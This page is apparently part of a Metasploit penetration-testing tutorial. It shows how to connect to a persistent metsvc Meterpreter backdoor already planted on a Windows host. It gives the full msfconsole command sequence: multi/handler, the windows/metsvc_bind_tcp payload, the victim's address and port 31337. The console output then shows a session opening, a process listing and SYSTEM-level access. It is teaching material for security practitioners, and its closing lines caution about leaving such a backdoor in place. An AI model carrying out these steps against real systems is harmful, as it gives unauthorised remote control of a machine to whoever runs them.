

Interacting With Metsvc a11y.text Interacting With Metsvc We will now use the multi/handler with a payload of windows/metsvc\_bind\_tcp to connect to the remote system. This is a special payload, as typically a Meterpreter payload is multi-stage, where a minimal amount of code is sent as part of the exploit, and then more is uploaded after code execution has been achieved. Think of a shuttle rocket, and the booster rockets that are used to get the space shuttle into orbit. This is much the same, except instead of extra items being there and then dropping off, Meterpreter starts as small as possible, then adds on. In this case however, the full Meterpreter code has already been uploaded to the remote machine, and there is no need for a staged connection. We set all of our options for metsvc\_bind\_tcp with the victim's IP address and the port we wish to have the service connect to on our machine. We then run the exploit.

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msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options
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Module options:

Name	Current Setting	Required	Description
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Payload options (windows/metsvc\_bind\_tcp):

Name	Current Setting	Required	Description
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EXITFUNC	thread	yes	Exit technique: seh, thread, process
LPORT	31337	yes	The local port
RHOST	192.168.1.104	no	The target address

Exploit target:

Id	Name
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0	Wildcard Target

msf exploit(handler) > exploit Immediately after issuing exploit , our metsvc backdoor connects back to us. [\*] Starting the payload handler...

[\*] Started bind handler

[\*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)

meterpreter > ps

Process list

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PID	Name	Path
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140	smss.exe	\SystemRoot\System32\smss.exe
168	csrss.exe	\??\C:\WINNT\system32\csrss.exe
188	winlogon.exe	\??\C:\WINNT\system32\winlogon.exe
216	services.exe	C:\WINNT\system32\services.exe
228	lsass.exe	C:\WINNT\system32\lsass.exe
380	svchost.exe	C:\WINNT\system32\svchost.exe
408	spoolsv.exe	C:\WINNT\system32\spoolsv.exe
444	svchost.exe	C:\WINNT\System32\svchost.exe
480	regsvc.exe	C:\WINNT\system32\regsvc.exe
500	MSTask.exe	C:\WINNT\system32\MSTask.exe
528	VMwareService.exe	C:\Program Files\VMware\VMware Tools\VMwareService.exe
564	metsvc.exe	c:\WINNT\my\metsvc.exe
588	WinMgmt.exe	C:\WINNT\System32\WBEM\WinMgmt.exe
676	cmd.exe	C:\WINNT\System32\cmd.exe
724	cmd.exe	C:\WINNT\System32\cmd.exe
764	mmc.exe	C:\WINNT\system32\mmc.exe
816	metsvc-server.exe	c:\WINNT\my\metsvc-server.exe
888	VMwareTray.exe	C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896	VMwareUser.exe	C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940	firefox.exe	C:\Program Files\Mozilla Firefox\firefox.exe
972	TPAutoConnSvc.exe	C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1000	Explorer.exe	C:\WINNT\Explorer.exe
1088	TPAutoConnect.exe	C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > pwd

C:\WINDOWS\system32

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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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meterpreter > And here we have a typical Meterpreter session! Again, be careful with when and how you use this trick. System owners will not be happy if you make an attackers job easier for them by placing such a useful backdoor on the system for them. Next Persistent Backdoors Prev Meterpreter Backdoor